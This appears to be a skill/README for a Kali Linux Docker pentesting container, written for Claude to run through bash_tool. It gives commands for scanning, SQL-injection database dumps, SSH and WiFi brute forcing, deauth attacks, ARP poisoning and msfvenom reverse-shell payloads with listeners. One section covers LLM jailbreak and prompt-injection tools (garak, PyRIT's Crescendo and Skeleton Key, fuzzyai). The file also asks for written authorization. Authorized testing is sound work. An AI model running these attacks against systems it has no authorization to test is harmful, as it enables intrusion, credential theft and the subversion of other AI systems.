docker tag kali-comprehensive:latest kali-comprehensive:backup-$(date +%Y-%m-%d)

# 2. Full-upgrade all packages inside the running container (non-interactive, keep existing configs)
docker exec kali-pentest bash -c \
  'export DEBIAN_FRONTEND=noninteractive; apt-get update && \
   apt-get -y -o Dpkg::Options::="--force-confold" -o Dpkg::Options::="--force-confdef" full-upgrade && \
   apt-get -y autoremove && apt-get clean'

# 3. Persist the upgraded state back into the image
docker commit kali-pentest kali-comprehensive:latest

# Roll back if an upgrade breaks something:
#   docker tag kali-comprehensive:backup-YYYY-MM-DD kali-comprehensive:latest

Clean rebuild (alternative): to get a fresh, smaller image from the newest base, clone the repo and rebuild — slower (re-downloads everything) but reproducible:

git clone https://github.com/kroegha/kali-docker-pentesting.git
cd kali-docker-pentesting && docker compose build

Tool Catalog

🔍 Network Discovery & Scanning

nmap - Network Mapper

Description: Industry-standard network scanner for host discovery, port scanning, and service detection.

Usage:

# Basic scan
docker exec kali-pentest nmap 192.168.1.1

# Service version detection
docker exec kali-pentest nmap -sV 192.168.1.1

# OS detection
docker exec kali-pentest nmap -O 192.168.1.1

# Comprehensive scan
docker exec kali-pentest nmap -sC -sV -O -p- 192.168.1.1

# Save results
docker exec kali-pentest nmap -sV -oA /results/scan 192.168.1.0/24

Common Options:

-sS - SYN stealth scan
-sT - TCP connect scan
-sU - UDP scan
-sV - Version detection
-O - OS detection
-A - Aggressive scan (OS, version, scripts, traceroute)
-p- - Scan all 65535 ports
-Pn - Skip ping (assume host is up)
-T4 - Faster timing (0-5)
-oA - Output all formats

masscan - Fast Port Scanner

Description: Extremely fast port scanner, can scan the entire internet in under 6 minutes.

Usage:

# Scan specific ports
docker exec kali-pentest masscan 192.168.1.0/24 -p80,443,8080

# Scan all ports fast
docker exec kali-pentest masscan 192.168.1.0/24 -p0-65535 --rate=10000

# Save results
docker exec kali-pentest masscan 10.0.0.0/8 -p80 -oL /results/masscan.txt

netdiscover - Network Discovery

Description: Active/passive ARP reconnaissance tool.

Usage:

# Passive mode
docker exec kali-pentest netdiscover -p -i eth0

# Active mode with range
docker exec kali-pentest netdiscover -r 192.168.1.0/24

arp-scan - ARP Scanner

Description: Discovers IPv4 hosts using ARP.

Usage:

docker exec kali-pentest arp-scan --localnet
docker exec kali-pentest arp-scan 192.168.1.0/24

🌐 Web Application Testing

nikto - Web Server Scanner

Description: Web server vulnerability scanner.

Usage:

# Basic scan
docker exec kali-pentest nikto -h http://target.com

# SSL scan
docker exec kali-pentest nikto -h https://target.com -ssl

# Save results
docker exec kali-pentest nikto -h http://target.com -o /results/nikto.txt

# Tuning options
docker exec kali-pentest nikto -h http://target.com -Tuning 123bde

dirb - Directory Brute Forcer

Description: Web content scanner.

Usage:

# Default wordlist
docker exec kali-pentest dirb http://target.com

# Custom wordlist
docker exec kali-pentest dirb http://target.com /usr/share/wordlists/dirb/common.txt

# Save results
docker exec kali-pentest dirb http://target.com -o /results/dirb.txt

# Extensions
docker exec kali-pentest dirb http://target.com -X .php,.html,.txt

gobuster - Directory/DNS Enumeration

Description: Fast directory and DNS enumeration tool.

Usage:

# Directory enumeration
docker exec kali-pentest gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt

# DNS subdomain enumeration
docker exec kali-pentest gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt

# Virtual host discovery
docker exec kali-pentest gobuster vhost -u http://target.com -w /usr/share/wordlists/vhosts.txt

wfuzz - Web Fuzzer

Description: Web application fuzzer.

Usage:

# Directory fuzzing
docker exec kali-pentest wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt --hc 404 http://target.com/FUZZ

# Parameter fuzzing
docker exec kali-pentest wfuzz -c -z file,/usr/share/wordlists/passwords.txt http://target.com/page?id=FUZZ

# POST data fuzzing
docker exec kali-pentest wfuzz -c -z file,users.txt -z file,pass.txt -d "user=FUZZ&pass=FUZ2Z" http://target.com/login

sqlmap - SQL Injection Tool

Description: Automatic SQL injection and database takeover tool.

Usage:

# Basic test
docker exec kali-pentest sqlmap -u "http://target.com/page?id=1"

# POST request
docker exec kali-pentest sqlmap -u "http://target.com/login" --data="user=admin&pass=test"

# Enumerate databases
docker exec kali-pentest sqlmap -u "http://target.com/page?id=1" --dbs

# Dump database
docker exec kali-pentest sqlmap -u "http://target.com/page?id=1" -D dbname --dump

# Full automation
docker exec kali-pentest sqlmap -u "http://target.com/page?id=1" --batch --dump-all

wpscan - WordPress Scanner

Description: WordPress vulnerability scanner.

Usage:

# Basic scan
docker exec kali-pentest wpscan --url http://target.com

# Enumerate users
docker exec kali-pentest wpscan --url http://target.com --enumerate u

# Enumerate plugins
docker exec kali-pentest wpscan --url http://target.com --enumerate p

# Aggressive scan
docker exec kali-pentest wpscan --url http://target.com --enumerate ap,at,cb,dbe

whatweb - Website Fingerprinting

Description: Identifies websites and web technologies.

Usage:

# Basic scan
docker exec kali-pentest whatweb http://target.com

# Aggressive mode
docker exec kali-pentest whatweb -a 3 http://target.com

# Scan multiple URLs
docker exec kali-pentest whatweb -i /workspace/urls.txt

🔐 Password Attacks

john - John the Ripper

Description: Fast password cracker.

Usage:

# Crack with default wordlist
docker exec kali-pentest john /workspace/hashes.txt

# Use rockyou wordlist
docker exec kali-pentest john --wordlist=/usr/share/wordlists/rockyou.txt /workspace/hashes.txt

# Crack specific format
docker exec kali-pentest john --format=raw-md5 /workspace/hashes.txt

# Show cracked passwords
docker exec kali-pentest john --show /workspace/hashes.txt

# Incremental mode
docker exec kali-pentest john --incremental /workspace/hashes.txt

hashcat - Advanced Password Recovery

Description: World's fastest password cracker.

Usage:

# MD5 crack
docker exec kali-pentest hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt

# SHA256 crack
docker exec kali-pentest hashcat -m 1400 -a 0 hashes.txt wordlist.txt

# Brute force
docker exec kali-pentest hashcat -m 0 -a 3 hash.txt ?a?a?a?a?a?a

# Show results
docker exec kali-pentest hashcat -m 0 hashes.txt --show

Hash Modes:

0 = MD5
100 = SHA1
1400 = SHA256
1700 = SHA512
1000 = NTLM
3200 = bcrypt

hydra - Network Password Cracker

Description: Fast network logon cracker.

Usage:

# SSH brute force
docker exec kali-pentest hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1

# HTTP POST form
docker exec kali-pentest hydra -l admin -P passwords.txt 192.168.1.1 http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"

# FTP brute force
docker exec kali-pentest hydra -L users.txt -P passwords.txt ftp://192.168.1.1

# Multiple protocols
docker exec kali-pentest hydra -L users.txt -P passwords.txt 192.168.1.1 ssh ftp http

medusa - Parallel Password Cracker

Description: Speedy, parallel, modular login brute-forcer.

Usage:

# SSH attack
docker exec kali-pentest medusa -h 192.168.1.1 -u admin -P passwords.txt -M ssh

# HTTP basic auth
docker exec kali-pentest medusa -h 192.168.1.1 -u admin -P passwords.txt -M http

crunch - Wordlist Generator

Description: Generates custom wordlists.

Usage:

# Generate 6-8 character wordlist
docker exec kali-pentest crunch 6 8 -o /results/wordlist.txt

# Custom charset
docker exec kali-pentest crunch 4 6 0123456789 -o /results/numbers.txt

# Pattern-based
docker exec kali-pentest crunch 8 8 -t pass@@@@ -o /results/pattern.txt

📡 Wireless Security

aircrack-ng - WiFi Security Suite

Description: Complete suite for assessing WiFi network security.

Usage:

# Start monitor mode
docker exec kali-pentest airmon-ng start wlan0

# Capture packets
docker exec kali-pentest airodump-ng wlan0mon

# Capture specific network
docker exec kali-pentest airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w /results/capture wlan0mon

# Deauth attack
docker exec kali-pentest aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon

# Crack WPA handshake
docker exec kali-pentest aircrack-ng -w /usr/share/wordlists/rockyou.txt /results/capture-01.cap

wifite - Automated Wireless Attack

Description: Automated wireless attack tool.

Usage:

# Automatic WPA attack
docker exec kali-pentest wifite --wpa

# All attack types
docker exec kali-pentest wifite

# Specific target
docker exec kali-pentest wifite -i wlan0 --kill

reaver - WPS Attack

Description: Brute force WPS PINs.

Usage:

docker exec kali-pentest reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv

🕵️ Information Gathering

theharvester - Email/Subdomain Harvester

Description: Gather emails, subdomains, IPs from public sources.

Usage:

# Search all sources
docker exec kali-pentest theharvester -d target.com -b all

# Specific source
docker exec kali-pentest theharvester -d target.com -b google

# Save results
docker exec kali-pentest theharvester -d target.com -b all -f /results/harvest

dnsrecon - DNS Enumeration

Description: DNS enumeration and network reconnaissance.

Usage:

# Standard enumeration
docker exec kali-pentest dnsrecon -d target.com

# Zone transfer
docker exec kali-pentest dnsrecon -d target.com -a

# Brute force subdomains
docker exec kali-pentest dnsrecon -d target.com -D /usr/share/wordlists/subdomains.txt -t brt

sublist3r - Subdomain Enumeration

Description: Fast subdomain enumeration using OSINT.

Usage:

# Basic enumeration
docker exec kali-pentest sublist3r -d target.com

# Enable brute force
docker exec kali-pentest sublist3r -d target.com -b

# Save results
docker exec kali-pentest sublist3r -d target.com -o /results/subdomains.txt

enum4linux - SMB Enumeration

Description: Tool for enumerating information from Windows and Samba systems.

Usage:

# Full enumeration
docker exec kali-pentest enum4linux -a 192.168.1.1

# User enumeration
docker exec kali-pentest enum4linux -U 192.168.1.1

# Share enumeration
docker exec kali-pentest enum4linux -S 192.168.1.1

dmitry - Deep Information Gathering

Description: Deepmagic Information Gathering Tool.

Usage:

# Full scan
docker exec kali-pentest dmitry -winsepo /results/dmitry.txt target.com

# Subdomain search
docker exec kali-pentest dmitry -s target.com

🛡️ Exploitation Frameworks

metasploit-framework - Penetration Testing Framework

Description: The world's most used penetration testing framework.

Usage:

# Start msfconsole
docker exec -it kali-pentest msfconsole

# Generate payload
docker exec kali-pentest msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe > /results/payload.exe

# Search exploits
docker exec -it kali-pentest bash -c "echo 'search tomcat' | msfconsole -q"

# Run resource script
docker exec kali-pentest msfconsole -r /workspace/script.rc

Common msfvenom payloads:

# Windows reverse shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe -o shell.exe

# Linux reverse shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f elf -o shell.elf

# PHP reverse shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f raw -o shell.php

# Android APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -o shell.apk

social-engineer-toolkit (SET)

Description: Social engineering penetration testing framework.

Usage:

# Start SET
docker exec -it kali-pentest setoolkit

🔬 Forensics & Analysis

binwalk - Firmware Analysis

Description: Analyze and extract firmware images.

Usage:

# Scan for embedded files
docker exec kali-pentest binwalk /workspace/firmware.bin

# Extract files
docker exec kali-pentest binwalk -e /workspace/firmware.bin

# Signature scan
docker exec kali-pentest binwalk --signature /workspace/file.bin

foremost - File Carving

Description: Recover files based on headers and footers.

Usage:

# Recover all file types
docker exec kali-pentest foremost -i /workspace/image.dd -o /results/recovered

# Specific file types
docker exec kali-pentest foremost -t jpg,png,pdf -i /workspace/image.dd -o /results/

volatility - Memory Forensics

Description: Advanced memory forensics framework.

Usage:

# Get image info
docker exec kali-pentest volatility -f /workspace/memory.dump imageinfo

# List processes
docker exec kali-pentest volatility -f /workspace/memory.dump --profile=Win7SP1x64 pslist

# Dump process
docker exec kali-pentest volatility -f /workspace/memory.dump --profile=Win7SP1x64 procdump -p 1234 -D /results/

strings - Extract Strings

Description: Extract printable strings from files.

Usage:

# Basic extraction
docker exec kali-pentest strings /workspace/binary > /results/strings.txt

# Minimum length 10
docker exec kali-pentest strings -n 10 /workspace/binary

# Unicode strings
docker exec kali-pentest strings -e l /workspace/binary

exiftool - Metadata Extraction

Description: Read and write meta information in files.

Usage:

# View metadata
docker exec kali-pentest exiftool /workspace/image.jpg

# Remove all metadata
docker exec kali-pentest exiftool -all= /workspace/image.jpg

# Batch process
docker exec kali-pentest exiftool /workspace/*.jpg

🔄 Reverse Engineering

ghidra - Software Reverse Engineering

Description: NSA's software reverse engineering framework.

Usage:

# GUI mode (requires X11 forwarding)
docker exec -it kali-pentest ghidra

# Headless mode
docker exec kali-pentest analyzeHeadless /workspace /project -import /workspace/binary.exe

radare2 - Reverse Engineering Framework

Description: Advanced reverse engineering framework.

Usage:

# Open binary
docker exec -it kali-pentest r2 /workspace/binary

# Analyze
docker exec -it kali-pentest bash -c "echo 'aaa; pdf' | r2 /workspace/binary"

# Disassemble
docker exec kali-pentest r2 -c 'pd 10' /workspace/binary

gdb - GNU Debugger

Description: Standard debugger for Unix systems.

Usage:

# Debug binary
docker exec -it kali-pentest gdb /workspace/binary

# With PEDA
docker exec -it kali-pentest gdb -q /workspace/binary

🎯 Vulnerability Assessment

lynis - Security Auditing

Description: Security auditing tool for Unix/Linux systems.

Usage:

# Full audit
docker exec kali-pentest lynis audit system

# Quick scan
docker exec kali-pentest lynis audit system --quick

nikto - Web Vulnerability Scanner

(See Web Application Testing section)

openvas - Vulnerability Scanner

Description: Full-featured vulnerability scanner.

Usage:

# Start OpenVAS (requires initialization)
docker exec kali-pentest openvas-start

🤖 LLM / Prompt-Injection Testing

Tools for assessing LLM-backed applications (chatbots, RAG systems, AI agents) for prompt injection, jailbreaks, data leakage, and related GenAI risks. These are not in stock Kali — they were added to this image (see Updating the Container).

Install layout (isolated to avoid conflicts with Kali's apt-managed system Python):

Tool	Install method	Invoke as
garak	pipx (global)	`garak`
agentic-radar	pipx (global)	`agentic-radar`
promptfoo	npm (global)	`promptfoo`
promptmap2	git clone `/opt/promptmap`	`cd /opt/promptmap && python3 promptmap2.py`
PyRIT	venv `/opt/venvs/pyrit`	`/opt/venvs/pyrit/bin/python`
fuzzyai	venv `/opt/venvs/fuzzyai`	`/opt/venvs/fuzzyai/bin/fuzzyai`

Before you run anything:

Every tool tests a target LLM over the network, and most also use a judge/attacker LLM — so you need reachability to the target plus an API key for the judge (OPENAI_API_KEY, ANTHROPIC_API_KEY, or Azure creds).

Never bake keys into the image. Pass them at runtime via an env file that lives on the host only:

# host: keys.env  (chmod 600, never commit)
#   OPENAI_API_KEY=sk-...
docker run --rm --env-file keys.env kali-comprehensive garak --help
# or for the long-running container, set per-exec:
docker exec -e OPENAI_API_KEY=sk-... kali-pentest garak --list_probes

Point tools at API endpoints, not local models — loading a local HF model needs a GPU the container doesn't have.

garak - LLM Vulnerability Scanner ("nmap for LLMs")

Description: NVIDIA's broad-coverage probe/detector scanner (prompt injection, jailbreak, data leakage, encoding attacks, toxicity). Run-first baseline; produces a scored report. Actively maintained.

Usage:

# List available probes
docker exec kali-pentest garak --list_probes

# Prompt-injection scan of an OpenAI model
docker exec -e OPENAI_API_KEY=sk-... kali-pentest \
  garak --model_type openai --model_name gpt-4o-mini --probes promptinject

# Full scan, JSON report to /results
docker exec -e OPENAI_API_KEY=sk-... kali-pentest \
  garak --model_type openai --model_name gpt-4o-mini --report_prefix /results/garak

promptmap2 - Targeted Prompt-Injection Scanner

Description: Purpose-built injection tester for a specific app. White-box (supply the system prompt) or black-box (point at an HTTP endpoint). YAML rule categories: jailbreak, prompt stealing, harmful, distraction, bias. Installed under /opt/promptmap.

Usage:

# Test your app's system prompt against an OpenAI target (needs OPENAI_API_KEY)
docker exec -e OPENAI_API_KEY=sk-... kali-pentest bash -c \
  'cd /opt/promptmap && python3 promptmap2.py \
     --prompts /workspace/system_prompt.txt \
     --target-model gpt-4o-mini --target-model-type openai'
# target-model-type: openai | anthropic | google | ollama | xai | http (black-box endpoint)

promptfoo - Red-Team & Eval Framework (standards-mapped)

Description: Node-based CLI. Red-team mode auto-generates adversarial prompts via 50+ plugins (prompt injection, jailbreak, PII, excessive agency) and maps findings to OWASP LLM Top 10 / NIST AI RMF / MITRE ATLAS — best for repeatable, reportable engagements.

Usage:

# Initialise a red-team config, then run it
docker exec kali-pentest bash -c 'cd /workspace && promptfoo redteam init'
docker exec -e OPENAI_API_KEY=sk-... kali-pentest \
  bash -c 'cd /workspace && promptfoo redteam run'

PyRIT - Multi-Turn AI Red-Teaming Framework

Description: Microsoft's scriptable framework for deeper, multi-turn attacks (Crescendo, TAP, Skeleton Key) against OpenAI/Azure/Anthropic/custom HTTP targets. A Python library, not a one-shot CLI — the "go deep" tool once garak/promptmap surface something. Heaviest dependency footprint.

Usage:

# Run a PyRIT attack script with the PyRIT venv's Python (write the script to /workspace first)
docker exec -e OPENAI_API_KEY=sk-... kali-pentest \
  /opt/venvs/pyrit/bin/python /workspace/pyrit_crescendo.py

agentic-radar - Agentic Workflow Scanner

Description: SplxAI static-analysis scanner for agentic apps (LangGraph, CrewAI, OpenAI Agents SDK, n8n, MCP tools). Maps agent/tool topology and flags vulnerabilities garak/promptmap can't see. Use when the target is an agent, not a bare model.

Usage:

# Scan an agent project mounted into the container, HTML report to /results
docker exec kali-pentest agentic-radar scan -i /workspace/agent_project -o /results/agentic-radar.html

fuzzyai - Aggressive Jailbreak Fuzzer

Description: CyberArk's LLM fuzzer focused on jailbreaks — ASCII/Unicode-tag smuggling, genetic adversarial-suffix, many-shot. Multi-provider. Installed in a dedicated venv at /opt/venvs/fuzzyai (its upstream torch/numpy pins were relaxed for Python 3.13 compatibility). Subcommands: fuzz and webui. Check the wiki for the full attack-mode list, which changes between versions.

Usage:

# Single-prompt jailbreak fuzz against an OpenAI model
docker exec -e OPENAI_API_KEY=sk-... kali-pentest \
  /opt/venvs/fuzzyai/bin/fuzzyai fuzz -m openai/gpt-4o -a def -t "test prompt"
#   -m model  -a attack_modes  -t target_prompt  (-T file for many prompts, -s system prompt)

Reference frameworks (cite these in reports)

OWASP Top 10 for LLM Applications (2025) — LLM01 = Prompt Injection. https://genai.owasp.org/llm-top-10/
MITRE ATLAS — adversarial-threat matrix for AI systems. https://atlas.mitre.org/
NIST AI RMF (Generative AI Profile) — risk framing referenced by promptfoo/DeepTeam mappings.

📊 Network Analysis

tcpdump - Packet Capture

Description: Command-line packet analyzer.

Usage:

# Capture on interface
docker exec kali-pentest tcpdump -i eth0

# Capture to file
docker exec kali-pentest tcpdump -i eth0 -w /results/capture.pcap

# Read file
docker exec kali-pentest tcpdump -r /results/capture.pcap

# Filter HTTP
docker exec kali-pentest tcpdump -i eth0 'tcp port 80'

tshark - Network Protocol Analyzer

Description: Terminal-based Wireshark.

Usage:

# Capture packets
docker exec kali-pentest tshark -i eth0

# Capture to file
docker exec kali-pentest tshark -i eth0 -w /results/capture.pcap

# Filter display
docker exec kali-pentest tshark -r /results/capture.pcap -Y 'http.request'

ettercap - Network Sniffer/Interceptor

Description: Comprehensive suite for MITM attacks.

Usage:

# Text mode
docker exec -it kali-pentest ettercap -T -i eth0

# ARP poisoning
docker exec kali-pentest ettercap -T -M arp:remote /192.168.1.1// /192.168.1.100//

Common Pentesting Workflows

1. Network Reconnaissance

# Step 1: Discover live hosts
docker exec kali-pentest nmap -sn 192.168.1.0/24 -oA /results/hosts

# Step 2: Port scan discovered hosts
docker exec kali-pentest nmap -sV -p- -iL /results/hosts.txt -oA /results/ports

# Step 3: Enumerate services
docker exec kali-pentest nmap -sC -sV -p 80,443,22,21 192.168.1.0/24 -oA /results/services

2. Web Application Assessment

# Step 1: Identify web technologies
docker exec kali-pentest whatweb http://target.com

# Step 2: Directory enumeration
docker exec kali-pentest gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -o /results/dirs.txt

# Step 3: Vulnerability scan
docker exec kali-pentest nikto -h http://target.com -o /results/nikto.txt

# Step 4: Test for SQLi
docker exec kali-pentest sqlmap -u "http://target.com/page?id=1" --batch

3. Password Cracking Workflow

# Step 1: Generate wordlist
docker exec kali-pentest crunch 8 12 -t Pass@@@@ -o /results/wordlist.txt

# Step 2: Crack hashes
docker exec kali-pentest john --wordlist=/results/wordlist.txt /workspace/hashes.txt

# Step 3: Network service brute force
docker exec kali-pentest hydra -L /workspace/users.txt -P /results/wordlist.txt ssh://192.168.1.1

4. Wireless Network Assessment

# Step 1: Enable monitor mode
docker exec kali-pentest airmon-ng start wlan0

# Step 2: Scan networks
docker exec kali-pentest airodump-ng wlan0mon

# Step 3: Capture handshake
docker exec kali-pentest airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w /results/capture wlan0mon

# Step 4: Deauth clients
docker exec kali-pentest aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon

# Step 5: Crack WPA
docker exec kali-pentest aircrack-ng -w /usr/share/wordlists/rockyou.txt /results/capture-01.cap

5. Exploitation Workflow

# Step 1: Search for exploit
docker exec kali-pentest searchsploit apache 2.4.49

# Step 2: Generate payload
docker exec kali-pentest msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o /results/payload.exe

# Step 3: Setup listener in Metasploit
docker exec -it kali-pentest msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.100; set LPORT 4444; exploit"

File Management

Copying Files Between Host and Container

# Copy TO container
docker cp ./local-file.txt kali-pentest:/workspace/

# Copy FROM container
docker cp kali-pentest:/results/scan.txt ./output/

# Copy directory
docker cp kali-pentest:/results/ ./output/

Working with Wordlists

Common Wordlist Locations:

/usr/share/wordlists/rockyou.txt - Most popular password list
/usr/share/wordlists/dirb/common.txt - Common directories
/usr/share/seclists/ - SecLists collection
/usr/share/wordlists/metasploit/ - Metasploit wordlists

# List available wordlists
docker exec kali-pentest find /usr/share/wordlists -type f

# Extract rockyou (if gzipped)
docker exec kali-pentest gunzip /usr/share/wordlists/rockyou.txt.gz

Troubleshooting

Container Won't Start

# Check logs
docker logs kali-pentest

# Remove and recreate
docker rm kali-pentest
docker run -d --name kali-pentest kali-comprehensive

Network Issues

# Use host network
docker run -d --name kali-pentest --network host kali-comprehensive

# Add network capabilities
docker run -d --name kali-pentest --cap-add=NET_RAW --cap-add=NET_ADMIN kali-comprehensive

Permission Issues

# Run as root (already default)
docker exec -u root kali-pentest [command]

# Fix workspace permissions
docker exec kali-pentest chmod -R 777 /workspace /results

Metasploit Database Issues

# Initialize database
docker exec kali-pentest service postgresql start
docker exec kali-pentest msfdb init

# Check status
docker exec kali-pentest msfdb status

Best Practices

1. Always Save Results

# Use output flags
-o filename.txt          # Generic output
-oA basename            # Nmap: all formats
-w filename             # Write to file
> /results/output.txt   # Shell redirect

2. Use Volumes for Persistence

Mount volumes for:

/workspace - Working files
/results - Scan results
/wordlists - Custom wordlists

3. Scope Your Testing

Always:

Get written authorization
Define scope boundaries
Document everything
Report findings responsibly

4. Clean Up After Testing

# Stop monitor mode
docker exec kali-pentest airmon-ng stop wlan0mon

# Clear temporary files
docker exec kali-pentest rm -rf /tmp/*

# Archive results
docker exec kali-pentest tar -czf /results/assessment-$(date +%Y%m%d).tar.gz /results/*.txt

Quick Reference

Port Scanning

docker exec kali-pentest nmap -sV -p- target

Directory Enumeration

docker exec kali-pentest gobuster dir -u http://target -w /usr/share/wordlists/dirb/common.txt

SQL Injection

docker exec kali-pentest sqlmap -u "http://target/page?id=1" --batch

Password Cracking

docker exec kali-pentest john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

Network Brute Force

docker exec kali-pentest hydra -l admin -P passwords.txt ssh://target

WiFi Cracking

docker exec kali-pentest aircrack-ng -w /usr/share/wordlists/rockyou.txt capture.cap

When to Use This Skill

Use this skill when:

Conducting authorized penetration testing
Performing security assessments
Testing network security
Analyzing web applications
Cracking passwords (authorized)
Wireless security auditing
Forensics analysis
Reverse engineering
Learning security techniques

Claude will read this skill and execute commands via bash_tool, providing efficient, direct access to all pentesting tools without MCP protocol overhead.